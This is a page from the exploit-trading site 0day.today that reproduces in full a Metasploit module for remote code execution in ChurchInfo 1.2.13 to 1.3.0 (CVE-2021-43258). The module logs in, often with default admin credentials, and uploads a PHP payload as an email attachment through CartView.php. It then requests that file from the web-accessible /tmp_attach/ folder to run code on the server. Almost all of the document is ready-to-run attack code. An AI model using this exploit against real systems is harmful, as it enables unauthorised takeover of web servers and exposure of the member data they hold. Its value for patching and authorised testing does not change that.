0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ChurchInfo 1.2.13-1.3.0 Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE', 'Description' => %q{ This module exploits the logic in the CartView.php page when crafting a draft email with an attachment. By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and then browsing to the location of the uploaded PHP file on the web server, arbitrary code execution as the web daemon user (e.g. www-data) can be achieved. }, 'License' => MSF_LICENSE, 'Author' => [ 'm4lwhere <m4lwhere@protonmail.com>' ], 'References' => [ ['URL', 'http://www.churchdb.org/'], ['URL', 'http://sourceforge.net/projects/churchinfo/'], ['CVE', '2021-43258'] ], 'Platform' => 'php', 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [['Automatic Targeting', { 'auto' => true }]], 'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => ['CRASH_SAFE'], 'Reliability' => ['REPEATABLE_SESSION'], 'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS'] } ) ) # Set the email subject and message if interested register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']), OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']), OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']), OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']), OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!']) ] ) end def check if datastore['SSL'] == true proto_var = 'https' else proto_var = 'http' end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'Default.php'), 'method' => 'GET', 'vars_get' => { 'Proto' => proto_var, 'Path' => target_uri.path } ) unless res return CheckCode::Unknown('Target did not respond to a request to its login page!') end # Check if page title is the one that ChurchInfo uses for its login page. if res.body.match(%r{<title>ChurchInfo: Login</title>}) print_good('Target is ChurchInfo!') else return CheckCode::Safe('Target is not running ChurchInfo!') end # Check what version the target is running using the upgrade pages. res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'), 'method' => 'GET' ) if res && (res.code == 500 || res.code == 200) return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!') end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'), 'method' => 'GET' ) if res && (res.code == 500 || res.code == 200) return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!') end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'), 'method' => 'GET' ) if res && (res.code == 500 || res.code == 200) return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!') else return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!') end end # # The exploit method attempts a login, adds items to the cart, then creates the email attachment. # Adding items to the cart is required for the server-side code to accept the upload. # def exploit # Need to grab the PHP session cookie value first to pass to application vprint_status('Gathering PHP session cookie') if datastore['SSL'] == true vprint_status('SSL is true, changing protocol to HTTPS') proto_var = 'https' else vprint_status('SSL is false, leaving protocol as HTTP') proto_var = 'http' end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'Default.php'), 'method' => 'GET', 'vars_get' => { 'Proto' => proto_var, 'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI'] }, 'keep_cookies' => true ) # Ensure we get a 200 from the application login page unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})") end # Check that we actually are targeting a ChurchInfo server. unless res.body.match(%r{<title>ChurchInfo: Login</title>}) fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!') end # Grab our assigned session cookie cookie = res.get_cookies vprint_good("PHP session cookie is #{cookie}") vprint_status('Attempting login') # Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'Default.php'), 'method' => 'POST', 'vars_post' => { 'User' => datastore['USERNAME'], 'Password' => datastore['PASSWORD'], 'sURLPath' => datastore['TARGETURI'] } ) # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that. unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php' fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})") end vprint_good("Location header is #{res.headers['Location']}") print_good("Logged into application as #{datastore['USERNAME']}") vprint_status('Attempting exploit') # We must add items to the cart before we can send the emails. This is a hard requirement server-side. print_status('Navigating to add items to cart') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'SelectList.php'), 'method' => 'GET', 'vars_get' => { 'mode' => 'person', 'AddAllToCart' => 'Add+to+Cart' } ) # Need to check that items were successfully added to the cart # Here we're looking through html for the version string, similar to: # Items in Cart: 2 unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})") end cart_items = res.body.match(/Items in Cart: (?<cart>\d)/) unless cart_items fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?") end if cart_items['cart'].to_i < 1 print_error('No items in cart detected') fail_with(Failure::UnexpectedReply, 'Failure to add items to cart, no items were detected. Check if there are person entries in the application') end print_good("Items in Cart: #{cart_items}") # Uploading exploit as temporary email attachment print_good('Uploading exploit via temp email attachment') payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php' vprint_status("Payload name is #{payload_name}") # Create the POST payload with required parameters to be parsed by the server post_data = Rex::MIME::Message.new post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Attach\"; filename=\"#{payload_name}\"") post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"') post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"') post_data.add_part('Save Email', '', nil, 'form-data; name="submit"') file = post_data.to_s file.strip! res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'CartView.php'), 'method' => 'POST', 'data' => file, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) # Ensure that we get a 200 and the intended payload was # successfully uploaded and attached to the draft email. unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}") fail_with(Failure::Unknown, 'Failed to upload the payload.') end print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}") # Have our payload deleted after we exploit register_file_for_cleanup(payload_name) # Make a GET request to the PHP file that was uploaded to execute it on the target server. print_good('Executing payload with GET request') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name), 'method' => 'GET' ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end # 0day.today [2024-12-24] #